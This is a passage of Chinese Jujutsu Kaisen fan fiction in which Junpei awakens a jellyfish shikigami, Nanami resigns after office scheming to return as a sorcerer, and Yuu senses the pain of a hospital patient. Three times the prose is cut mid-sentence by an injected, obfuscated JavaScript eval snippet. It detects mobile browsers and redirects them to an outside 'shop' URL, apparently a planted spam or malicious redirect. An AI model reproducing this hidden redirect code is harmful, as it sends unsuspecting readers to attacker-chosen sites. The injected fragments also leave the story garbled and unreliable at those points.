“没什么。”七海看着窗外,“只是觉得,有些事比职场政治重要得多。” 五条悟笑了:“欢迎回来~虽然只是暂时的?” “暂时。”七海强调。 挂断电话,七海回到办公区。 中村已经不见,铃木的座位也空着。 他把补充协议模板准备好,放在桌上。 补充协议顺利签署,客户对业务资料表示赞赏。 中村全程笑容满面,仿佛什么都没发生。 七点,他准时下班——几个月来第一次准时。 铃木在后面阴阳怪气:“前辈今天走得真早啊~” 七海头也不回:“我有更重要的事。” 走出大楼,七海深吸一口气,感觉胸腔里某个压抑已久的东西松动了。 他拿出手机,给悠发消息:【我下班了。顺路看一下顺平,回家给你带布丁。】 悠很快回复:【真的?太好了!我和宝宝等你回家~】 看着这句话,七海加快了脚步。 旧校舍像一头沉睡的巨兽,窗户破碎,墙壁斑驳。 风吹过空荡荡的走廊,发出呜咽般的声响。 “按计划行动。”真希戴上眼镜,视野里立刻出现了淡淡的咒力残秽——紫黑色的,像霉菌一样蔓延在建筑表面,“咒灵在里面。熊猫,准备。” 熊猫从背包里掏出两个强力手电筒,打开开关。 刺眼的白光瞬间撕破黑暗。 狗卷的手指按在衣领上——那是他发动咒言的习惯动作。 顺平深吸一口气,努力平复心跳。 推开锈蚀的铁门,四人走进建筑。 霉味扑鼻而来,混合着一种更难以形容的气息——像是恐惧本身有了味道。 走廊两侧的教室门大多敞开着,里面堆满废弃的桌椅,在月光下投出扭曲的影子。 有什么东西在看着他们,从每一个阴影里。 “注意影子。”真希低声说,“它来了。” 话音刚落,前方走廊的阴影突然“活”了过来。 一团漆黑的、不定形的物体从地板升起,表面不断蠕动,裂开数道缝隙——像是无数张嘴巴,同时发出“嘶嘶”的吸气声。 很好,和任务报告有出入──是二级咒灵。 符合上层那群家伙的尿性。 “熊猫!顺平!棘!是二级,都小心。”真希大喝。 熊猫瞬间将手电筒对准咒灵,白光如剑般刺入黑暗。 咒灵发出尖锐的嘶叫,身体剧烈收缩,但下一秒,它分裂成三团较小的个体,从不同方向扑来! “麻烦。”真希啐了一口,长棍在手,“一人一个!棘控场!” 战斗正式开始。 真希直接对上最大的分身,长矛挥舞间带起破风声。 熊猫身体灵活挡住另一个分身的攻击,双方开始缠斗。 狗卷拉住顺平后退,“停下!” 暂时控制住第三个。 顺平站在狗卷身后位置,眼睛紧盯着战场。 就在这时,被狗卷控制住的分身突然挣脱束缚再次分裂,直冲顺平而来! 速度太快,真希和熊猫都来不及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154099|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回援。 时间仿佛变慢。 顺平看到分身裂开的大嘴,看到里面旋转的牙齿。 身体先于思考行动。 顺平没有后退,反而向前踏出一步,手指自然的做出动作,一股陌生的力量从体内涌出—— 是咒力,是别的什么。 更原始,更……潮湿。 空气中突然弥漫开海水的咸味。 从顺平脚下,一团半透明的蓝色物体迅速升起——水母? 巨大的、散发着淡蓝色光芒的水母形生物,触手在空中缓缓飘动。 咒灵分身的攻击撞在水母透明的身体上,像撞进一团凝胶,速度骤减。 顺平愣住了。 他根本没反应过来发生什么,这东西是自己出现的。 “式神?”真希惊讶的声音传来。 顺平脑子里突然冒出它的名字:淀月——伸出一条触手,轻轻碰了碰了那咒灵分身,随即对方发出凄厉的尖叫,狰狞的表面突然多出了许多脓包,噼里啪啦的涨破腐蚀开来。 剩下的两个分身似乎感应到了威胁,同时停止攻击,融合回本体。 但这次,咒灵没有继续战斗,而是……逃了。 不过兵贵神速,真希反应迅速的用长枪直接贯穿咒灵,直到它化作黑影,消失不见。 走廊里一片寂静。 只有手电筒的光还亮着,照着一地狼藉和顺平懵逼的脸。 淀月缓缓降下,触手轻轻碰了碰顺平的脸,然后化作淡蓝色的光点消散。 “我天……这么酷?是式神使啊,顺平你超级厉害啊!”熊猫羡慕的在顺平身边转来转去。 “招式不赖。”真希收起长矛,走到顺平面前,仔细打量他,“顺平你觉醒术式了。召唤类术式,很罕见。” 顺平茫然地看着自己的手:“我……我不知道怎么……” “本能。”真希说,“危机时刻,术式自己觉醒了。很正常。” “腌高菜!腌高菜!”恭喜啊顺平!太好了! 狗卷又在随身的小本子上画了个水母图案。 “谢谢大家……”顺平还有点懵。 刚才那一瞬间的感觉太奇怪了,像是身体里有什么东西苏醒了,又像是……一直就在那里,只是现在才被看见。 走出校舍时,五条悟已经在外面等着了,旁边还站着七海。 “欸?姨夫?”顺平惊讶。 “哟~任务辛苦了!”五条悟笑嘻嘻地迎上来,“虽然差点让咒灵跑了,但整体表现不错完美解决!特别是顺平!” 他一把搂住顺平的肩膀:“新术式觉醒!式神召唤!而且看样子还是水系宝可梦,超~稀有的!老师我眼光果然没错!” 顺平被晃得头晕:“啊?” “就是水母宝宝啊!”五条悟比划着,“那个是你术式召唤的式神!虽然现在还不稳定,但只上限很高嘛!” 真希疑惑地看向七海:“七海先生是来……” “下班路过,看到你们老师简单聊了几句。”七海平静地说,“顺便接顺平回家。” 熊猫好奇地打量七海——严谨的西装,一丝不苟的领带,标准的上班族打扮。 看起来就是个普通的严肃成年人。 五条悟拍拍手:“好啦,现在宣布初步评价——” “真希,指挥得当,主攻精准,A。熊猫,掩护到位,A。棘,控场精准,A。顺平……” 他故意拖长声音,看着顺平紧张的表情,笑了:“危机中觉醒术式,召唤式神击退咒灵分身。表现超出预期。初步评级:三级咒术师!” “三……三级?”顺平不敢相信。 “没错!”五条悟竖起大拇指,“第一次实战就评三级,很厉害哦!当然啦,比起老师我当年还是差那么亿点点~” 真希拍了拍顺平的肩:“恭喜。不过三级只是开始,别松懈。” 熊猫凑过来:“要请客哦!” 狗卷“金枪鱼蛋黄酱!!”我要吃金枪鱼蛋黄酱饭团!! 顺平看向七海。 七海推了推眼镜,有一丝笑意:“做得很好。悠在等你回家。下次返校的时候再请客吧?” “嗯!” 52. 八卦和七海的暂时回归 回家的车上,顺平还在兴奋中。 淀月出现时的感觉,那种陌生又熟悉的咒力。 “它叫淀月……不过我怎么会知道它的名字?”他有点好奇。 “式神和术师之间有天然的联系。”七海解释,“你知道它的名字,就像知道自己手脚的名字一样自然。” “姨夫,那淀月以后都会听我的吗?” “需要培养默契。”七海说,“式神不是工具,是伙伴。要花时间相处了解。” 车停在公寓楼下,606室的灯还亮着。 “小姨还没睡……”顺平小声说。 “她在等我们。”七海锁好车。 开门时,悠正坐在沙发上织小袜子。 看到他们,她立刻站起来:“七海海顺平欢迎回来!任务怎么样?” 顺平眼睛亮晶晶的:“小姨!五条老师说我觉醒术式了!是召唤式神,叫淀月,是个漂亮的水母!而且评级是三级!” “真的?!”悠惊喜地睁大眼睛,“快跟我说说!” 顺平又把经过讲了一遍。 悠听到淀月出现时,若有所思:“淀月……很好听的名字。它保护了你呢。” “嗯!”顺平用力点头,“虽然我还不知道怎么和它沟通,但……它救了我。” “那就好好对待它。”悠温柔地说,“就像对待家人一样。” “五条老师真的很厉害,虽然上课方式很奇怪……”顺平说,“真希同学也是实力超强,总是冲在最前面。熊猫和棘都很照顾我……” 悠笑着听他说。 她看见顺平身上那些——连接着远处的线,已经染上了温暖的淡金色。 那是友谊的颜色。 “交到好朋友了呢。”她说。 “嗯!”顺平用力点头。 睡前,顺平收到五条悟的消息: 【顺平酱~今天表现超棒!下周开始特训!要把淀月训练成最强式神哦!??ps:告诉悠酱,下次我带三倍喜久福去!】 顺平看着消息,笑了。 虽然“特训”听起来很可怕,但他不怕。 因为他有想保护的人,有并肩作战的同伴,还有……家人。 晚上悠小口吃着七海带回来的布丁,幸福地眯起眼:“好好吃……你今天好早下班呢,还能顺路去顺平那里。” “工作处理完了。”七海坐在她身边,手轻轻放在她肚子上,“你和宝宝今天怎么样?” “我们都很乖嘛。就是宝宝下午动得厉害,像是在踢足球。”悠笑着抓住他的手,“你摸摸这里——” 七海的手掌下,传来有力的踢动。一下,两下,像是在打招呼。 “很有力。” “像你嘛。”悠靠在他肩上忽然笑了:“你是担心顺平,对吧?” “……有点。” “七海海。”悠话锋一转。 “嗯?” “你今天有心事。”她的声音很轻,慢慢靠在他身上“工作上的事,可以跟我说的。你也需要适当的倾诉啊?” 七海沉默得搂住她的肩膀:“为什么这么问?” “那里。”悠握住他的手,“七海海,你身上的线……颜色杂乱,你在忍耐什么。” 七海看着她关切的眼神,那些压抑了好几个月的疲惫,忽然涌了上来。 “今天……”他开口,声音有些干涩,“今天差点被陷害。” 悠睁大眼睛。 七海简单讲了合同的事。 说完后,他自嘲地笑了笑:“我离开咒术界,想过普通人的生活。但现在发现,哪里都一样复杂。” 悠安静地听完,然后抱住了他。 “对不起。”她小声说,“让你一个人承受这些。” “不是你的错。”七海回抱住她,“是我自己的选择。我不希望你担心。” “那现在……老公,你想怎么做?那几个蠢货?” 七海哑然失笑,手指亲昵地夹住她的嘴巴: “我想保护最珍贵的东西。”他的声音坚定,“你,宝宝,还有那些值得守护的人和事。职场上那些……我不打算再忍了。” “老公,我们辞职吧,不要忍了,我们的存款够用了。我不想你在那里不开心。” “没关系的悠,暂时不会。”七海推了推眼镜,“但我会重新考虑一些事。比如……要不要偶尔接些‘兼职’。” 悠没有回答,而是把他的手拉到自己肚子上。 “七海海。”她认真地说,“不管你做什么决定,我都会支持你。但你要答应我两件事。” “你说,我一直在不会失约。” “第一,要平安。每次出门,都要平安回来。” “我答应。” “第二,”悠笑了,“如果以后要教宝宝咒术,得让我先同意教学大纲。我可不想让五条先生教他奇怪的东西。” 七海的嘴角弯了起来:“好。” 两人都笑了。笑着笑着,悠忽然“啊”了一声。 “怎么了?” “宝宝……踢得好厉害。”悠皱眉,有点难受“是不是听到爸爸说要教他咒术,太兴奋了?” “也可能是抗议。”七海一本正经,“不想学那么麻烦的东西。” “那就是像你,和爸爸一样怕麻烦。” 那些烦恼和不确定,在这个温暖的夜晚变得不再那么沉重。 因为有些东西是确定的:彼此的信任,家庭的温暖,即将到来的新生命。 第二天,高专教室。 “所以顺平的姨夫只是个普通上班族?”熊猫好奇地问,“西装领带,一本正经的那种?昨天看起来是超级成功的人类高质量男性。” 顺平摇着手,无奈的笑着:“太夸张了,熊猫。姨夫他在证券公司工作。” 真希喝着冰镇饮料:“不过看起来挺靠谱的。比某个白毛教师顺眼多了。” “大芥!”附议! “喂喂,真希和棘好过分~”五条悟不知什么时候出现在门口,“老师我哪里不靠谱了?” “哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154100|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里都不靠谱。”真希毫不留情。 “鲑鱼鲑鱼~”某人对自己太有信心了吧~ 熊猫戳了戳顺平继续八卦:“那顺平的小姨呢?是什么样的人?” “小姨是漫画家,恐怖漫画的畅销作家。”顺平有点不好意思,但提起小姨是一脸骄傲,挺起胸脯“是我的偶像,我想成为和她一样温柔,积极的人!我之前的理想成为恐怖小说家,现在也没变。” “诶~漫画家!”熊猫眼睛亮了,“好厉害!而且顺平竟然有这么明确的目标!比同龄人领先一大截耶,顺平家是艺术世家?” “不算吧……我妈妈是自由职业,小姨是漫画家,姨夫是上班族……不过说起来我们家的氛围很好?有艺术熏陶?还有姨夫他们是去年六月结婚的!” “腌高菜?”去年? 棘火速计算了一下,直接竖了大拇指。 “木鱼花!”那岂不是结婚没多久就怀孕了! “哇,速度好快!”熊猫脸上飘起粉红小花朵,和棘抱作一团开始扭曲。 “大芥!”是少女漫一样的爱情!! 狗卷又不知道从哪里掏出来一本罗曼蒂克的漫画,翻到硕大的标题拍到桌子上【闪婚】 “喂喂,你们两个给我正常一点!看起来好恶心!”真希受不了的拎着两个人的衣领来回晃悠。 “啊哈哈……算是吧……”顺平在旁边开始安抚三个大龄儿童,“妈妈说,小姨和姨夫是相亲认识的,然后很快就决定结婚了。” “一见钟情!”熊猫拍手,“像电视剧一样!” 真希嗤笑:“电视剧都是骗人的。”然后背过手有点别扭“不过都是基于现实的基础改编的。” “大芥!”但很浪漫啊! 狗卷是唯心派加一! “没错没错!我和棘一派!”熊猫信誓旦旦的捂着脸开始畅想,“严肃的上班族先生和温柔的漫画家小姐,相亲认识,一见钟情,闪婚,现在要有宝宝了……这不是超浪漫的故事吗!” 说着说着熊猫和狗卷两人又紧紧相拥,漏出诡异的羞涩表情。 窗外猛地探出一颗羽毛球“哦吼~七海那家伙还有这么浪漫的一面啊~真看不出来呢~” 狗卷突然意识到什么,指了指顺平和五条:“木鱼花?” 顺平顺平!老师认识你姨夫? “认识啊~以前的前辈后辈关系~”五条悟随口说,然后转移话题,“不过话说回来,顺平你瞒得挺严啊,这么大的八卦现在才说!” “老师说的没错啦。还有我、我没觉得这是八卦……”顺平试图辩解。 “这当然是八卦!”熊猫搭住顺平的肩,“同学家人的浪漫爱情故事,这比电视剧好看多了!下次去你家玩,我们要见见小姨!” “熊猫说得对!”五条悟举手,“老师我也要去!我要问问悠酱是怎么拿下那个一本正经的七海的~” 顺平被他们闹得脸红。 真希在旁边完全没眼看:“一群八卦的家伙。”但她也没阻止,只是眼里有淡淡的笑意。 53. 正式辞职 清晨。 七海看着没吃早饭的悠担忧的问:“今天是有什么安排?你没有吃早餐。” “上午要去产检嘛,下午在家画画稿子。”悠试着新衣服,在七海面前转了一圈,他立马伸手在她身边护住“医生说今天要做测试,可能会在医院待久一点。” “我陪你去。”七海立刻说。 “不用啦,你昨天已经早退一次了。”悠摇头,“而且只是常规检查,我一个人可以的。凪姐说下班可以来医院陪我。” 七海看着她,眉头微皱有点犹豫。 悠知道他担心,伸手握住他的手:“真的没事。而且……”她眨眨眼,“如果我一个人去,回来还可以跟你撒娇说‘好累啊要七海海按摩’,不是吗?” 七海被她逗笑了——虽然只是嘴角微弯了一下:“……那回来我给你按摩。” “说定了哦!” 东京妇产医院。 悠坐在候诊区,手里拿着号码牌。 吉野凪陪在她身边,正翻看着顺手刚买的杂志。 “医生说这次要抽三次血呢。”吉野风皱眉,“悠酱你早上没吃东西吧?” “嗯,空腹来的。”悠摸了摸肚子,“不过有点饿,可以忍受的,就希望今天不要排那么久的队。” 医院里人来人往,孕妇、家属、医护人员,每个人都带着不同的“线”。 悠坐在椅子上安静地观察着。 走廊对面坐着一对年轻夫妻,妻子肚子已经很大了,丈夫正小心翼翼地给她揉腰。 两人之间的线是温暖的粉金色,缠绕得很紧密。 另一边角落里的孕妇独自一人,身上的线大多是暗黄色——焦虑、疲惫。 还有一位明显是高龄产妇的女士,身边围着丈夫和已成年的女儿,线网复杂且紧绷。 “悠酱?”吉野凪的声音把她拉回现实,“到我们了。” 糖耐量测试确实耗时。 空腹抽血后,要喝下一大杯甜得发腻的葡萄糖水,然后每隔一小时抽一次血。 等待期间,悠和吉野凪在医院的休息区聊天。 “顺平昨天回来时好兴奋呢。”吉野凪笑着说,“一直说他的新术式,说那个叫淀月的水母式神。虽然我听不太懂,但他开心就好。” “顺平真的很努力。”悠温柔地说,“在高专也交到了好朋友。七海海每次回来都会夸顺平呢。” “多亏了妹夫。”吉野凪感叹,“要不是他训练顺平,那孩子现在可能还在……” 如果不是七海,顺平可能还在被霸凌的阴影里,或者更糟被卷入危险里。 “凪姐,七海他……”悠轻声说,“最近工作好像不太顺心。” 吉野凪有些意外,看向她:“这是怎么了?” 要知道七海平时真的情绪很少外泄,面上看不太出来。 悠简单说了合同陷害的事。 吉野凪听完,脸色沉了下来,生气的开始指责:“那些人怎么这样!妹夫工作那么认真……资本的吸血虫。” “七海海说不想再忍了,而且我也不希望他压力那么大不开心。”悠看着窗外,“可能会……重新考虑一些事吧。” 吉野凪握住悠的手:“不管他做什么决定,我们都支持他。你们是一家人,我和顺平也是你们的家人。” 悠鼻子一酸:“嗯。谢谢你凪姐……” “傻瓜,和小时候一样”吉野凪笑着搂住她,“变成妈妈了也还是小女孩嘛。” 第二次抽血后,两人在医院的小花园散步。 阳光很温柔。 “宝宝的名字,你们有想法了吗?”吉野凪问。 “七海列了几个备选。”悠笑了,“都是很有寓意的名字,男孩女孩的都有。但我想要个温柔一点的名字……” “像悠酱一样温柔?” “像七海一样可靠也行呀。” 两人都笑了。 这时,悠忽然停下脚步,看向医院大楼的某个方向。 “怎么了?”吉野凪问。 “那里……”悠眯起眼睛,“感觉好奇怪。” 在医院三楼的一扇窗户里,正渗出暗红色的线——不是鲜血的颜色,而是更接近愤怒、痛苦的暗红。 那些线很细,但非常密集,像一团缠绕的荆棘。 而且,那些线正在缓慢地向周围扩散。 “奇怪?难道是咒灵吗?”吉野凪紧张地问,联想到自己儿子也有这种天赋,说不定自己表妹悠也能感觉到什么呢。 “悠酱,我们要不赶紧离开吧?顺平说像这种医院最容易有那个叫什么……咒灵来着。” “不是。”悠摇头,“更像是……别的什么。” “那看来我们家不是艺术氛围了,看来可以换成灵媒家族。”吉野凪调侃的缓和气氛。 那些暗红色的线让悠很不舒服——不是因为颜色,而是因为那里面包含的情绪太沉重了。 “那灵媒姐姐,我过去看看。”悠笑着说,“只是看看,没有危险,我能感受到的。” 吉野凪担心,但还是跟上了,她相信悠。 三楼是病房区。 悠和吉野凪走到那扇窗户对应的病房外。 门半掩着。 病房里只有一张病床,床上躺着一位老人,看起来七八十岁,瘦得皮包骨头。 床边坐着一个中年女人,大概是女儿,正低头削苹果。 老人身上缠绕着暗红色线。 它们从老人的胸口延伸出来,像植物的根系一样扎进病床、墙壁、甚至空气中。 最粗的一条连接着床边那个女人——女儿身上,但链接着两个人的那根线是暗灰色的,像是愧疚、疲惫、以及某种压抑的愤怒。 老人身上的暗红线有一部分正缓慢地向窗外延伸,似乎想要“逃离”这个房间。 “晚期癌症。”一个护士推着车经过,小声对同事说,“那位老先生有精神问题,已经住了好多年多了。女儿辞了工作来照顾他,但他脾气很怪,经常骂人……总是大吵大闹的。麻烦死了。” “久病床前无孝子啊。” “可不是嘛……” 长期病痛积累的痛苦,死亡的恐惧,无法自理而产生的屈辱和愤怒。 照顾者的疲惫,被责骂的委屈,还有“希望这一切早点结束”的罪恶感。 两者交织,形成了这个病房里沉重的线。 “悠,感觉怎么样?”吉野凪小声问。 悠想了想,摇头:“这不是咒灵……是人心。” 但她也不能就这样离开。 那些线已经开始影响周围的其他人——隔壁床的一位男士身上已经沾染了一丝暗红,精神状态很差,让悠很在意。 “凪姐,你在这里等我一下。”悠说。 她敲敲门。 削苹果的女人抬起头看向门口,眼睛红肿:“请问你是……?” “我是楼下妇产科的孕妇,散步路过。”悠露出温和的微笑,“看到老先生一个人躺着,想来打个招呼。” 老人睁开眼睛——那是一双浑浊但锐利的眼睛。 他盯着悠,没说话。 悠走到床边,送了一束新采的花束放在老人床边阳台的花瓶上。 很淡的花香。 老人突然开口,声音沙哑:“你身上……很干净。” 悠转过头:“什么?” “你身上没有那种……让人喘不过气的鬼东西。”老人盯着她,“不像这个房间,也不像我女儿。” 床边的女人身体一僵。 悠走到老人床边,轻声说:“痛苦会让人喘不过气。但痛苦不是您的错,也不是您女儿的错。” 老人愣住了“你……也能……”话没说完,他缓缓闭上眼睛:“美代……苹果削好了吗?” 女人急忙把削好的苹果递过去。 老人接过,咬了一小口,动作很慢。 “爸爸,甜吗?”女人小声问。 “……嗯。” 悠随手不经意的挥了挥,然后退出病房。 老人在她不经意的动作后,身上一轻,深深地看了一离去的小姑娘。 “原来……是真的” “爸爸您说什么?” “没什么……辛苦你了美代。” 出门后。 “你做了什么?”吉野凪不明所以地问。 “没什么。”悠摇头,“只是给了他们一点点……喘息的空间。那个老先生也可以看到咒灵,有咒力的天分。” “所以刚才那几个护士小姐说的精神方面……” “……如果没有接触到咒术界的普通人……可能” “所以这才是常态,不被别人理解,想想就绝望,顺平真的很幸运,有你和妹夫,悠真的很谢谢你们。”吉野凪想了很多,感性的落泪。 下午检查结果出来了——一切正常。 悠的血糖控制得很好,宝宝发育也很健康。 当天,七海坐在办公桌前,新交给他的文件堆积如山。 中村课长和铃木最近明显收敛了许多——至少表面上是这样,但小动作不断。 但他知道,会咬人的狗不叫。 果然没多久,中村把他叫进了会议室。 “七海君,坐。”中村笑容满面,“有件事想跟你商量。” 七海坐下,没有说话。 “是这样,公司最近在考虑部门重组。”中村递过来一份文件,“你的能力大家有目共睹,所以呢……我们想给你一个新的挑战。” 七海翻开文件。 调岗通知——调他去新成立的“风险管控部”,听起来不错,但细看就会发现,架空部门,没有实权,只有无穷无尽的文书工作和背锅风险。 “这是升职?”七海平静地问。 “是……岗位调整。”中村搓着手,“当然,薪资待遇不变。主要是考虑到你最近家庭情况特殊,孕妇需要照顾,这个岗位不用加班,也不用见客户……” 说得冠冕堂皇,其实就是明升暗降,想把他边缘化。 七海合上文件,推了推眼镜:“我拒绝。” 中村的表情僵住了:“七海君,这可是公司的决定……” “根据劳动合同法,岗位调整需要双方同意。”七海站起身,“如果公司坚持单方面调岗,我可以申请劳动仲裁。另外,”他顿了顿,“我手上有过去三个月所有经手项目的完整记录,包括铃木君‘不小心’犯的那些错误,以及您帮忙掩盖的证据。” 中村瞬间熄火了,前面的不重要,重要的后面的证据。 “我没有威胁的意思。”七海的声音依然平静,“只是陈述事实。如果公司想要一个体面的解决方案,我建议:我主动辞职,公司按N+3赔偿。这样对大家都好。” “你……你要辞职?” “是。”七海点头,“我想了想,确实如您所说——我现在有家庭需要照顾。所以,我打算换一份更……适合自己的工作。” 他说这话时,不是冲动,而是经过深思熟虑后的选择。 中村沉默一会,中途还出去打了电话,最终叹气:“……我打好招呼了。赔偿方案给你,但后面那些东西必须销毁,不能有复件。” “谢谢。”七海体面的鞠躬,转身离开会议室。 走出大楼时,神清气爽。 七海站在街边,拿出手机,拨通了五条悟的电话。 “哟~七海!又主动打电话给我,今天是什么好日子?”五条悟轻快的声音传来。 “五条。”七海看着街上的人流,“我辞职了。” 电话那头安静了两秒,然后爆发出夸张的大笑:“哈哈哈哈!娜娜明你终于想通了!欢迎回来!全职还是兼职?” “兼职。”七海说,“以自由咒术师的身份接任务。时间自由,可以照顾家里。” “了解了解~”五条悟的声音听起来很开心,“那第一单任务要接什么?前辈我这里可是有很多有趣的委托哦~” “先从简单的开始。”七海说,“另外,我想请你帮个忙。” “什么忙?” “关于评级。”七海推了推眼镜,“我需要重新评定咒术师等级。离开太久,现在的评级可能已经失效了。” 五条悟笑了:“这个简单!我亲自给你测试!保证公平公正~啊,不过测试内容可能会有点……刺激?最近那群烂橘子老是盯着我,烦死了。” “无所谓。”七海说,“时间地点定好了通知我。” “那就明天上午,高专训练场!白才不要那些磨磨蹭蹭的老不死踢皮球,”五条悟兴致勃勃,“我要看看当年的后辈,现在退没退步~” 挂断电话,七海又拨通了另一个号码。 这个联系方式他一直保留着,只是很久没用了,也没想过有再拨通的一天。 “这里是窗。请问是……” “七海建人。申请恢复咒术师身份,接二到四级的任务。相关文件我会尽快提交。” 电话那头传来敲击键盘的声音:“七海先生……您的档案还在。上次评级是……一级咒术师。要恢复这个评级需要重新测试。” “我知道。测试已经安排好了。” “好的。那么,欢迎回来,七海先生。” 挂断电话,七海抬头看着天空,东京的天空很蓝,云朵缓缓飘过。 他没有后悔。 离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“话说我从正道那听到消息,有咒术师要来高专进行等级测评,是悟亲自上阵。七海建人,这个是顺平姨夫的姓吧?”熊猫睁大眼睛,“听说是老师的后辈,上次悟不是还说了,顺平你姨夫是他的后辈吗?是不是同一个人?” 顺平傻眼:“确实是!不过我也是听你说我才知道,姨夫最近在职场上好像遇到些麻烦,具体不是很清楚。评级的话是要回归咒术界了吗?难道是辞职了吗?我也不太清楚。” “嘿,刚才悟回我了!哇,好果断!”熊猫赞叹,“不愧是靠谱的成年人!知道自己想要什么!非常清晰的规划!没想到是我先掌握了一手资源八卦!” 真希哼了一声:“肯定比某个动不动就翘班的教师靠谱多了。” “真希好过分~”五条悟不知从哪里冒出来,拿着大喇叭喊到“老师我可是在忙着处理重要公务哦!都听到了!!” “什么公务?吃喜久福?”真希毫不留情。 五条悟假装没听见,凑到顺平面前:“对了顺平,你姨夫,明天上午九点,高专训练场,我要给他做评级测试哦~” “这么迅速?”顺平惊讶,“姨夫要回来做咒术师?” “当然啦!”五条悟得意地说,“娜娜明他呀,可是前一级咒术师,虽然现在可能有点生疏了……不过没关系,老师我会好好‘测试’他的~” 熊猫和狗卷对视一眼。 狗卷在本子上写:【一级?】 “没错哦!”五条悟点头,“七海当年可是很厉害的。虽然比不上老师我啦,但在同辈里也算佼佼者了。” 顺平这才意识到——他只知道姨夫前做过咒术师,训练自己很专业,但从来没问过他以前的具体经历。 一级咒术师……那是仅次于特级的等级了。 “那姨夫……” “为什么离开?”五条悟耸耸肩,“有很多原因啦。不过现在他想回来,老师我当然欢迎~毕竟靠谱的咒术师永远不嫌多嘛!” 他说着,拍了拍顺平的肩:“所以你也要加油哦!三级只是起点,说不定将来你也能评上一级呢!” 顺平用力点头:“我会努力的!” 真希在旁边听着,若有所思。 她见过七海几次,确实能感觉到对方身上那种经过实战打磨的气质。 但一级咒术师……那个看起来像普通上班族的男人,原来这么强吗? 晚上。 悠特意订了附近超级火的高级寿司料理。 七海取完餐回到家还拎着一个小蛋糕。 “庆祝一下。”他说,“辞职后的奖励。” 悠睁大眼睛,然后笑了:“欸?!那我就恭喜七海先生成功脱离苦海!” “脱离苦海?”七海挑眉。 “啊啦──是恭喜你做了自己想做的决定。”悠接过蛋糕,是草莓奶油味的她爱吃的口味,“那接下来有什么计划?” “明天去高专做评级测试。”七海脱下西装外套,“之后以自由咒术师的身份接任务。时间自由,可以照顾你。” 悠看着他,眼睛亮晶晶的:“哇,七海海,你回来的时候……表情和平时不一样,好帅!!” “哪里不一样?” “更……轻松了。”悠伸手摸了摸他的脸,“看起来背景都带着小花花。” 七海握住她的手:“因为想通了,以后可能需要漫画家小姐养我,方便我吃软饭么?” “那就要看你表现喽,七海先生~那么……提问!会接危险的任务吗?” “会评估风险。”七海认真地说,“我不会做超出能力范围的事。尽量接一些简单的任务,因为我要平安回来,照顾你和宝宝。” 悠满意点点头,“那宝宝出生后,可以跟他说,爸爸是保护世界的英雄哦。” “只是普通咒术师。” “在我心里就是英雄。” 两人相视而笑。 这时,悠想起什么:“对了,今天去医院,遇到一件事……” 她讲了医院遇到的那位同样能看到咒灵的老先生和那些线。 七海听完,沉思片刻。 “悠,你处理得很好。”他说,“在保证自己安全的前提下,去帮助别人。其实对于从普通人中觉醒咒力天赋的术士来说,不被接受被视为异类找不到归处,真的是很可怕的常态。” “我只是做了点小事。” “小事也很重要。”七海握住她的手,“你能看见别人看不见的东西,也能做到别人做不到的事。这就是你的力量。” 悠鼻子一酸,靠在他肩上:“谢谢……” 54. 高专切磋 周五。 悠睡不着在厨房慢悠悠煎蛋时,听到了卧室传来的响动——七海起床了。 她有些惊讶,以为辞职后的第一天他会多睡会儿。 “怎么这么早?”转过头,悠看到七海已经换上了黄色西装,头发还微湿带着潮气,显然是刚洗过澡。 “习惯了,我来吧。”七海走到她身边,接过锅铲,“而且今天要去高专。评级测试的事要定下来。” 悠把位置让给他,靠在料理台边看着他熟练地翻动煎蛋。 晨光透过厨房窗户洒在他身上,那身剪裁合体的黄色西装在光线下显得格外挺括。 “评级测试会很麻烦吗?”她问。 “不会。”七海把煎蛋盛盘,“只是流程。应该很快就能结束。” 两人在餐桌旁坐下。 悠她小口吃着煎蛋,忽然笑着说:“七海海,你昨晚说梦话了。” 七海的动作顿了一下,有点意外:“我说了什么吗?” “听不清。”悠摇头,“但是语气很严肃,像在指挥什么。” “可能是梦见训练顺平。”七海无奈的把桌角的牛奶递给她。 悠没有追问,心情不错的哼着小调。 “悠。小心呛到。” “欸,知道啦──” 七海伸手细心的擦拭悠唇边落下的奶渍,“准妈妈还是和宝宝一样需要照顾。”说完眼里含笑,温柔的看着她。 “呐呐~那准爸爸的任务很艰巨嘛,还需要照顾两个?不管怎样,”她伸手握住他的手,“都要平安回来。我和宝宝在家等你。” “一定。”七海反握住她的手,指节分明的手掌温暖而有力。 上午九点。 五条悟已经等在场地中央了,戴着黑色眼罩,刷着ins,无聊的瘫在地上。 看到七海走来,他夸张地挥手:“哟~娜娜明!好久没回这里了吧?这身黄西装还是这么醒目啊!有没有种淡淡的忧伤~这是你逝去的青春?” “确实很久了。”七海环顾训练场,选择无视其他的话。 场地边缘的樱花树已经过了花期,新绿的叶子在风中摇曳。 远处的教学楼还是老样子,只是外墙新刷了漆。 时光在这里似乎既改变了什么,又什么都没改变。 